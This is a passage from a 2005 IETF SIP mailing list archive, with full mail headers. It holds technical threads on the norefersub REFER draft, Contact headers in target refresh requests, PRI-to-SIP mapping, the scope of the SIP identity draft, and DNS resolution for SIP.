It would help implementers to call out > > explicitly that the > > 200 response to the REFER will not contain a Supported or Require > > header containing > > the norefersub token. > > > > Section 4 fifth paragraph: This needs more definition. How is it > > rejected? 603, 420, or > > something else? Implementors will need some guidance here > on when to > > use which > > error response. I think (but am not dead certain at the > moment) that > > 420 is almost always > > what you want to use. > > > > Section 4 sixth paragraph: Is Supported: in the response > really the > > right thing? Eventlist > > uses Require: in the response to a SUBSCRIBE. The intent of the > > normative behavior in > > this paragraph is to let a Refer-issuer who only included > Supported: > > know whether or > > not a subscription was actually created. Require: (I'm using this > > extension) in the response > > fits that better than Supported: (I could use this > extension if you > > want to). > > > > Section 4 sixth paragraph: Suggest replacing "In this case, > no dialog > > is created" with > > "In this case, no implicit subscription is created. As a > consequence, > > no new dialog > > is created if this REFER was issued outside any existing dialog." > > > > Section 5: Probably worth also calling out using > Max-Forwards: 0 to > > prevent forking > > for those (rare now, but hopefully not rare forever) cases where > > signaling can get to > > the refer target without going through a proxy. > > > > Section 6: Must replace "tradewind" with "example" throughout. > > > > Section 8: "threads" should be "threats", It would be good > to pull any > > discussion > > that led to this conclusion together for when the IESG asks if we > > _really_ thought > > about this. Have we talked about what would happen if a SIP > > intermediary (or an > > unauthorized MitM) just injected a Require: norefersub into > a REFER > > request? > > > > RjS > > > > > > On Jan 24, 2005, at 5:07 PM, Rohan Mahy wrote: > > > >> Hi Folks, > >> > >> I'd like to begin an abbreviated WGLC for: > >> > >> http://www.ietf.org/internet-drafts/draft-ietf-sip-refer-with- > >> norefersub-00.txt > >> > >> Since this document is extremely short and has been discussed > >> extensively, WGLC will end on February 1st. > >> > >> thanks, > >> -rohan > >> > >> > >> _______________________________________________ > >> Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > >> This list is for NEW development of the core SIP Protocol > >> Use sip-implementors@cs.columbia.edu for questions on current sip > >> Use sipping@ietf.org for new developments on the application of sip > > > > > > _______________________________________________ > > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > > This list is for NEW development of the core SIP Protocol > > Use sip-implementors@cs.columbia.edu for questions on current sip > > Use sipping@ietf.org for new developments on the application of sip > > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip > _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Wed Feb 2 13:29:13 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA10361 for ; Wed, 2 Feb 2005 13:29:13 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwPY5-0000RC-1s for sip-web-archive@ietf.org; Wed, 02 Feb 2005 13:48:21 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwP8d-0008NF-Oz; Wed, 02 Feb 2005 13:22:03 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwP3L-0006fx-Vs for sip@megatron.ietf.org; Wed, 02 Feb 2005 13:16:36 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA07932 for ; Wed, 2 Feb 2005 13:16:30 -0500 (EST) Received: from broadsoft.com ([204.200.197.133]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwPLk-0008Fq-Go for sip@ietf.org; Wed, 02 Feb 2005 13:35:37 -0500 Received: from brett1 (66.239.146.130.ptr.us.xo.net [66.239.146.130]) (authenticated bits=0) by broadsoft.com (8.13.1/8.12.11) with ESMTP id j12IGT1v054534; Wed, 2 Feb 2005 13:16:33 -0500 (EST) From: "Brett Tate" To: "'Shekar, Nagesh Soma \(Shekar\)** CTR **'" , Subject: RE: [Sip] Requests within SIP Dialog and Contact Header Date: Wed, 2 Feb 2005 13:16:39 -0500 Message-ID: <001901c50953$572c1710$a601a8c0@brett1> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.6626 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <4C37CF2D8DF07E4CA6357BAD5EB9A5D7189FC303@oh0012exch004u.cb.lucent.com> Importance: Normal X-Spam-Score: 0.0 (/) X-Scan-Signature: 9182cfff02fae4f1b6e9349e01d62f32 Content-Transfer-Encoding: 7bit X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: e5ba305d0e64821bf3d8bc5d3bb07228 Content-Transfer-Encoding: 7bit > The Contact header is defined as a Mandatory > Header in some of Request messages, > like NOTIFY as a mandatory header. > > I am trying to understand if this is required > for SIP header like Contact to be mandatory > in SIP requests that are sent in a dialog that > is already setup with a INVITE transaction. > If it is required, then what is the intent of > making it Mandatory and how it should be used. The Contact was made mandatory in some requests (NOTIFY, SUBSCRIBE, INVITE) to help with dialog establishment and dialog recovery. NOTIFY, SUBSCRIBE, INVITE, and UPDATE are target refresh requests. Thus a Contact change in these requests indicate an attempt update the dialog. http://www.sipwg.org/show_bug.cgi?id=699 http://www1.ietf.org/mail-archive/web/sip/current/msg06960.html _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Wed Feb 2 15:19:35 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA23982 for ; Wed, 2 Feb 2005 15:19:35 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwRGs-0004FN-0n for sip-web-archive@ietf.org; Wed, 02 Feb 2005 15:38:42 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwQwa-00014I-Gt; Wed, 02 Feb 2005 15:17:44 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwQqa-0004hT-Ce for sip@megatron.ietf.org; Wed, 02 Feb 2005 15:11:32 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA23001 for ; Wed, 2 Feb 2005 15:11:28 -0500 (EST) Received: from ihemail1.lucent.com ([192.11.222.161]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwR8x-00041Y-Ss for sip@ietf.org; Wed, 02 Feb 2005 15:30:35 -0500 Received: from oh0012exch001p.wins.lucent.com (h135-7-157-6.lucent.com [135.7.157.6]) by ihemail1.lucent.com (8.12.11/8.12.11) with ESMTP id j12KAuWL003220 for ; Wed, 2 Feb 2005 14:10:57 -0600 (CST) Received: by OH0012EXCH001P with Internet Mail Service (5.5.2657.72) id ; Wed, 2 Feb 2005 15:10:56 -0500 Message-ID: <4C37CF2D8DF07E4CA6357BAD5EB9A5D7189FC30A@oh0012exch004u.cb.lucent.com> From: "Shekar, Nagesh Soma (Shekar)** CTR **" To: "'Brett Tate'" , sip@ietf.org Subject: RE: [Sip] Requests within SIP Dialog and Contact Header Date: Wed, 2 Feb 2005 15:10:19 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Scan-Signature: c1c65599517f9ac32519d043c37c5336 X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 538aad3a3c4f01d8b6a6477ca4248793 Brett, Thanks for the clarification, if the NOTIFY is expected to be a target refresh request, then it makes sense that the Contact Header be mandatory. Unfortunately, there are some implementations that do not include Contact Header in NOTIFY messages (Ex. Pingtel Instant xpressa). I am assuming that the bug is still not fixed. How does the bug fixing process work with RFCs, will there be a draft that will have the bug fixes. Nagesh Shekar. > -----Original Message----- > From: Brett Tate [mailto:brett@broadsoft.com] > Sent: Wednesday, February 02, 2005 1:17 PM > To: 'Shekar, Nagesh Soma (Shekar)** CTR **'; sip@ietf.org > Subject: RE: [Sip] Requests within SIP Dialog and Contact Header > > > > The Contact header is defined as a Mandatory > > Header in some of Request messages, > > like NOTIFY as a mandatory header. > > > > I am trying to understand if this is required > > for SIP header like Contact to be mandatory > > in SIP requests that are sent in a dialog that > > is already setup with a INVITE transaction. > > If it is required, then what is the intent of > > making it Mandatory and how it should be used. > > The Contact was made mandatory in some requests (NOTIFY, > SUBSCRIBE, INVITE) > to help with dialog establishment and dialog recovery. > > NOTIFY, SUBSCRIBE, INVITE, and UPDATE are target refresh requests. > > Thus a Contact change in these requests indicate an attempt update the > dialog. > > http://www.sipwg.org/show_bug.cgi?id=699 > > http://www1.ietf.org/mail-archive/web/sip/current/msg06960.html > > > _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Wed Feb 2 17:06:33 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA14381 for ; Wed, 2 Feb 2005 17:06:33 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwSwO-0002tX-FF for sip-web-archive@ietf.org; Wed, 02 Feb 2005 17:25:41 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwSFx-0005m3-I7; Wed, 02 Feb 2005 16:41:49 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwRyw-0001W2-Gd for sip@megatron.ietf.org; Wed, 02 Feb 2005 16:24:14 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA06085 for ; Wed, 2 Feb 2005 16:24:10 -0500 (EST) Received: from magus.nostrum.com ([69.5.195.2] ident=root) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwSHM-0008LW-NE for sip@ietf.org; Wed, 02 Feb 2005 16:43:18 -0500 Received: from [192.168.0.103] (c-24-1-68-89.client.comcast.net [24.1.68.89]) (authenticated bits=0) by magus.nostrum.com (8.12.11/8.12.11) with ESMTP id j12LO61O086984 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Wed, 2 Feb 2005 15:24:07 -0600 (CST) (envelope-from rjsparks@nostrum.com) In-Reply-To: <84fe880c500d5408fb355f4d374934c5@nostrum.com> References: <50B1CBA96870A34799A506B2313F266704AE5F53@ntht201e.siemenscomms.co.uk> <84fe880c500d5408fb355f4d374934c5@nostrum.com> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Robert Sparks Subject: Re: [Sip] Abbreviated WGLC for draft-ietf-sip-refer-with-norefers ub-00.txt Date: Wed, 2 Feb 2005 15:24:05 -0600 To: Robert Sparks X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.1 (/) X-Scan-Signature: 7aefe408d50e9c7c47615841cb314bed Content-Transfer-Encoding: 7bit Cc: SIP WG , Rohan Mahy , Orit Levin , Dean Willis X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.1 (/) X-Scan-Signature: 7a6398bf8aaeabc7a7bb696b6b0a2aad Content-Transfer-Encoding: 7bit A late thought: Please point out in the norefersub draft that REFER is a target refresh request even when this extension is used. RjS _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Wed Feb 2 17:31:58 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA19496 for ; Wed, 2 Feb 2005 17:31:58 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwTKz-0004e9-6f for sip-web-archive@ietf.org; Wed, 02 Feb 2005 17:51:07 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwSrE-0000SI-2v; Wed, 02 Feb 2005 17:20:20 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwScy-0005SB-4y for sip@megatron.ietf.org; Wed, 02 Feb 2005 17:05:37 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA14087 for ; Wed, 2 Feb 2005 17:05:31 -0500 (EST) Received: from ptb-relay01.plus.net ([212.159.14.212]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwSvK-0002ij-Vo for sip@ietf.org; Wed, 02 Feb 2005 17:24:39 -0500 Received: from [212.159.34.46] (helo=dsmsystems.co.uk) by ptb-relay01.plus.net with esmtp (Exim) id 1CwScI-000KBo-24; Wed, 02 Feb 2005 22:04:54 +0000 Received: from mail pickup service by dsmsystems.co.uk with Microsoft SMTPSVC; Wed, 2 Feb 2005 22:04:52 +0000 thread-index: AcUJczhOJlSIyU6aRh276TyAt1G44w== Delivered-To: mi_plusn-millner-justin@dsm.uk.com X-Original-To: sipforum-discussion@lists.su.se Delivered-To: sipforum-discussion@lists.su.se Message-ID: <070a01c50973$384e1ee0$2464a8c0@dsmsystems.local> X-Mailer: Microsoft CDO for Exchange 2000 Content-Class: urn:content-classes:message Importance: normal Priority: normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.181 From: "Ramesh Ramamurthy" User-Agent: Mozilla Thunderbird 0.9 (X11/20041127) X-Accept-Language: en-us, en MIME-Version: 1.0 To: References: <60BBB1231E9EA443BD400F30A47C0A7026A181@asbmail1.sbell.com.cn> <41F663B7.9030600@nortelnetworks.com> In-Reply-To: <41F663B7.9030600@nortelnetworks.com> Content-Type: text/plain; charset="GB2312" Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AMaViS perl-11 X-Virus-Scanned: by amavisd-new at peakss.com X-Virus-Scanned: by amavisd-new at av-in.su.se X-Spam-Status: No, hits=-2.599 tagged_above=-99 required=7 tests=BAYES_00 Subject: [Sipforum-discussion] Re: [Sip] pri and sip mapping issue X-BeenThere: sipforum-discussion@lists.su.se X-Mailman-Version: 2.0.13 Precedence: bulk List-Archive: Date: Wed, 2 Feb 2005 22:04:52 -0000 X-OriginalArrivalTime: 02 Feb 2005 22:04:52.0531 (UTC) FILETIME=[38982030:01C50973] X-Spam-Score: 0.4 (/) X-Scan-Signature: 3002fc2e661cd7f114cb6bae92fe88f1 Content-Transfer-Encoding: 7bit Cc: sip@ietf.org, sipforum-discussion@lists.su.se, FCG Wang JuLin X-BeenThere: sip@ietf.org List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.1 (/) X-Scan-Signature: 32b73d73e8047ed17386f9799119ce43 Content-Transfer-Encoding: 7bit Hi, I have sent a request for information to the author about the ClearMode Draft and have not received any responce. Are we sure that this draft is alive? Thanks Ramesh Tom Taylor wrote: >Hi. My responses below marked with [PTT]. > >FCG Wang JuLin wrote: > > >> >> >>Hi,list, >> >>Is there any standard in pri and sip mapping for the following three >>items: >> >>1)user to user infomation >> >> > >[PTT] To carry the information itself, the obvious method is to add a body of >type application/octet-stream. The issue comes in how to signal the service -- >especially, how to indicate what that body is for. > > >>2)bear capacity( 64K data),UDI. >> >> > >[PTT] You can signal and use CLEARMODE >(http://www.ietf.org/internet-drafts/draft-ietf-avt-rtp-clearmode-05.txt). This >has been approved by the IESG but is stuck in the RFC Editor's queue because it >has a dependency on draft-ietf-mmusic-sdp-new-23.txt, which still has to pass Last >Call. > > >>3) call transfer service indication mapping. >> >> > >[PTT] Leaving aside 3xx redirection responses, you may want to look at the >Request_History header field >(http://www.ietf.org/internet-drafts/draft-ietf-sip-history-info-06.txt). > > >>Thank you for your response ! >> >>Best Regards >>Wang Julin(Jerry Wang) >>Product Management >>Alcatel Shanghai Bell >>Phone:+86-21-58541240-9531 >>Fax:+86-21-58342941 >>Mobile: 13817861240 >>E-mail:Julin.Wang@alcatel-sbell.com.cn >> >> >> >> >> >> >> >> >> >>------------------------------------------------------------------------ >> >>_______________________________________________ >>Sip mailing list https://www1.ietf.org/mailman/listinfo/sip >>This list is for NEW development of the core SIP Protocol >>Use sip-implementors@cs.columbia.edu for questions on current sip >>Use sipping@ietf.org for new developments on the application of sip >> >> > > > ------ To unsubscribe from the Sipforum-discussion mailing list visit https://mbox.su.se/mailman/listinfo/sipforum-discussion _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Wed Feb 2 20:05:23 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA04181 for ; Wed, 2 Feb 2005 20:05:23 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwVjT-000110-Da for sip-web-archive@ietf.org; Wed, 02 Feb 2005 20:24:32 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwVNW-0002sA-SM; Wed, 02 Feb 2005 20:01:50 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwVJ0-00022A-D7 for sip@megatron.ietf.org; Wed, 02 Feb 2005 19:57:10 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA03735 for ; Wed, 2 Feb 2005 19:57:06 -0500 (EST) Received: from willow.neustar.com ([209.173.53.84]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwVbT-0000mC-BZ for sip@ietf.org; Wed, 02 Feb 2005 20:16:15 -0500 Received: from stntsmtp1.cis.neustar.com (smartexch.neustar.com [10.31.13.79]) by willow.neustar.com (8.12.8/8.11.6) with ESMTP id j130u1eV018584; Thu, 3 Feb 2005 00:56:01 GMT Received: from stntexch03.cis.neustar.com ([10.31.13.45]) by stntsmtp1.cis.neustar.com with Microsoft SMTPSVC(6.0.3790.211); Wed, 2 Feb 2005 19:56:01 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: RE: [Sip] Questions on the SIP identity draft Date: Wed, 2 Feb 2005 19:56:00 -0500 Message-ID: <24EAE5D4448B9D4592C6D234CBEBD597089AB5@stntexch03.cis.neustar.com> Thread-Topic: [Sip] Questions on the SIP identity draft Thread-Index: AcUIPHE1Fqd8NVPYSSiCP4QG43xsQQBIwIig From: "Peterson, Jon" To: "Simone Leggio" , X-OriginalArrivalTime: 03 Feb 2005 00:56:01.0190 (UTC) FILETIME=[21312460:01C5098B] X-Spam-Score: 0.0 (/) X-Scan-Signature: a8a20a483a84f747e56475e290ee868e Content-Transfer-Encoding: quoted-printable X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 6d95a152022472c7d6cdf886a0424dc6 Content-Transfer-Encoding: quoted-printable Hello Simone, >=20 > I have a couple of questions about the SIP identity draft, i.e. >=20 > Why can't SIP Identity be applied to responses as well? Why can't an=20 > Identity header field be added based on the relevant response fields? = At=20 > least, final responses like 200 OK. The answer is that it is possible to do so, but this won't be specified = in the current sip-identity draft. The scope of the sip-identity mechanism is to prevent certain trivial = impersonation attacks that arise primarily in requests. It is much = easier for me to impersonate the source of a request than it is for me = to impersonate the destination of the request; the former just requires = me to erroneously populate the From header field, the latter, however, = requires me to know that a request is in process, intercept it, = formulate a plausible response, and submit it in such a way that any = genuine response is squelched or something. The level of sophistication = required for response impersonation is far greater than that of request = impersonation. Accordingly, we felt that it was valuable to do request identity alone. = Since there is some amount of controversy surrounding possible = approaches to response identity, we've left this as an item for future = work in the current identity draft. Expect to see response identity work = sometime soon. > For more security, instead of adding only the addr-spec component of = the=20 > To header field, it may be added also the tag part. Am I forgetting = some=20 > relevant security issue? >=20 > 2) Section 10 says that >=20 > > The REGISTER method uses Contact header fields in very unusual ways = that > > complicate its applicability to this mechanism. Accordingly, the > > Identity and Identity-Info header MUST NOT appear in REGISTER >=20 > Why can't the REGISTER be protected? Usually authentication happens=20 > because user agent and server share a common secret, i.e. password. = What=20 > if they would share a key?=20 As you note, REGISTER is currently protected by the Digest = authentication system in SIP. sip-identity leverages Digest when the = authentication service role is instantiated by an intermediary - that = is, the same Digest credentials that we be used in REGISTER are given to = an authentication service in order to get an Identity signature. Thus it = would be kind of pointless to use sip-identity to secure REGISTER when = the authentication service is instantiated by an intermediary. Since it is possible, and sufficient, for a user agent to authenticate = itself to a registrar via Digest, I saw no reason to go out of our way = and recommend a second potential mechanism for authenticating the source = of a registration. > The user agent signs the REGISTER with its=20 > key, and the server uses it for verifying the identity of the=20 > authenticating entity.=20 I hear what you're saying (this is a case where the user agent = instantiates the auth service role), but sip-identity is based on a = concept of namespace authorization. The identity that you prove is a = URI, and URI has a host portion - like sip:jon@example.com. To sign an = Identity header, one must have a certificate (not just a key) whose = subject corresponds to the host portion of the identity which you want = to sign (e.g. example.com). When a UA registers, it is associating = itself with an AoR controlled by a registrar (say, the regisrar of = example.com, where the user is 'jon'). But if the AoR of a user is = controlled by a registrar, it is rare that the user will possess the = certificate for that AoR - which is necessary in order for it to act as = an auth svc for that AoR. At a high level, I guess it would be possible to do this, but it would = have very limited applicability, and it doesn't seem to fill any holes = in SIP's security story. Jon Peterson NeuStar, Inc. > Of course, the user agent has communicated=20 > previously its key to the server, probably when the user registers for = > the first time in that SIP domain. Anyway, how key communication is=20 > performed would be out of scope for SIP Identity. >=20 > Best regards, >=20 > Simone Leggio >=20 > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip >=20 _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 3 01:20:24 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA02662 for ; Thu, 3 Feb 2005 01:20:24 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwaeK-0001y2-LA for sip-web-archive@ietf.org; Thu, 03 Feb 2005 01:39:33 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cwa9W-0004Fd-8K; Thu, 03 Feb 2005 01:07:42 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cwa4x-0002hK-Ci for sip@megatron.ietf.org; Thu, 03 Feb 2005 01:02:59 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA01132 for ; Thu, 3 Feb 2005 01:02:55 -0500 (EST) Received: from [202.54.117.17] (helo=vmail.vsnl.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwaNQ-0001Qw-5U for sip@ietf.org; Thu, 03 Feb 2005 01:22:04 -0500 Received: from rajeewsingh ([127.0.0.1]) by vmail.vsnl.com (iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003)) with SMTP id <0IBB0063WNFZSS@vmail.vsnl.com> for sip@ietf.org; Thu, 03 Feb 2005 11:32:23 +0530 (IST) Received: from ([tataelxsi.co.in (203.197.169.100)]) by vmail.vsnl.com (InterScan E-Mail VirusWall Unix); Thu, 03 Feb 2005 11:32:23 +0530 (IST) Date: Thu, 03 Feb 2005 11:32:55 +0530 From: Rajeew Kumar Singh Subject: RE: [Sip] sip and dns In-reply-to: To: "'Suganya'" , sip@ietf.org Message-id: <003d01c509b6$01b4ef60$2a46010a@telxsi.com> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4927.1200 X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal X-Spam-Score: 0.0 (/) X-Scan-Signature: 4d87d2aa806f79fed918a62e834505ca Content-Transfer-Encoding: 7BIT X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: rajeewsingh@tataelxsi.co.in List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: f4c2cf0bccc868e4cc88dace71fb3f44 Content-Transfer-Encoding: 7BIT Hi, SIP uses DND procedure to resolve SIP URI into IP address, Port and Transport of the next hop to contact. In order to get this support your SIP stack should support the Client DNS procedures defined in RFC 3263. Also your stack should have support for sending NAPTR and SRV query as well as maintaioning the list of all resolved addresses. If your SIP stack is supporting then your application can use them one by one in case of Message send failure. Your SIP stack should be configured with a list of DNS servers and domain suffix. DNS query from UAC is sent to DNS server. Rajeew Kumar Singh -----Original Message----- From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org]On Behalf Of Suganya Sent: Wednesday, February 02, 2005 5:34 AM To: sip@ietf.org Subject: [Sip] sip and dns Hi, I have the following doubts and need some help. a) In order to contruct DNS query, I googled-up and found RFCs 1034 and 1035. But it doesn't talk of SIP. Can those guidelines be used for constructing the DNS for SIP related queries? b) Where to send the DNS query from UAC? c) Unlike RFC 3261 which clearly tells how to construct invite, ack, etc... messages, RFC 3263 specifies no syntax or query format to construct the DNS query. Regards, B.Suganya _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 3 04:57:08 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA05378 for ; Thu, 3 Feb 2005 04:57:08 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cwe28-0008Ge-73 for sip-web-archive@ietf.org; Thu, 03 Feb 2005 05:16:20 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cwdey-0003At-2T; Thu, 03 Feb 2005 04:52:24 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwdaD-00024C-EF for sip@megatron.ietf.org; Thu, 03 Feb 2005 04:47:29 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA04507 for ; Thu, 3 Feb 2005 04:47:27 -0500 (EST) Received: from imr1.ericy.com ([198.24.6.9]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 